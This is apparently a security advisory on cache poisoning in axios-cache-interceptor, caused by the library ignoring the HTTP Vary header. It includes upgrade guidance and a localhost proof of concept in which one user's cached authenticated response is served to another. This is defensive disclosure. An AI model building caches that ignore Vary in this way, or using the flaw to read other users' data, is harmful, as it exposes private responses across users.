axios-cache-interceptor Vulnerable to Cache Poisoning via Ignored HTTP Vary Header

// v1.11.1+ (automatic, no config needed)
// User 123: key = hash(url + {authorization: 'Bearer 123'})
// User 456: key = hash(url + {authorization: 'Bearer 456'})
// ✓ Different caches, no poisoning

Remediation

Upgrade to v1.11.1 or later. No code changes required, protection is automatic

Proof of Concept

const http = require('node:http');
const axios = require('axios');
const { setupCache } = require('axios-cache-interceptor');

// Server that returns different responses based on Authorization
const server = http.createServer((req, res) => {
  const auth = req.headers.authorization;

  res.setHeader('Vary', 'Authorization');

  if (auth === 'Bearer 123') {
    res.write('Hello, user 123!');
  } else if (auth === 'Bearer 456') {
    res.write('Hello, user 456!');
  } else {
    res.write('Unknown');
  }

  res.end();
});

server.listen(5000);

// Client making requests with different tokens
const cachedAxios = setupCache(axios.create());

const server2 = http.createServer(async (_req, res) => {
  const authHeader =
    Math.random() < 0.5 ? 'Bearer 123' : 'Bearer 456';

  const response = await cachedAxios.get('http://localhost:5000', {
    headers: { Authorization: authHeader }
  });

  console.log({
    response: response.data,
    cached: response.cached,
    auth: authHeader
  });
  res.write(response.data);
  res.end();
});

server2.listen(5001);

// Trigger 10 requests
Promise.all(
  Array.from({ length: 10 }, () =>
    axios.get('http://localhost:5001').catch(console.error)
  )
).finally(() => {
  server.close();
  server2.close();
});

All 10 responses return "Hello, user 123!" even when using "Bearer 456" - users receive each other's cached data.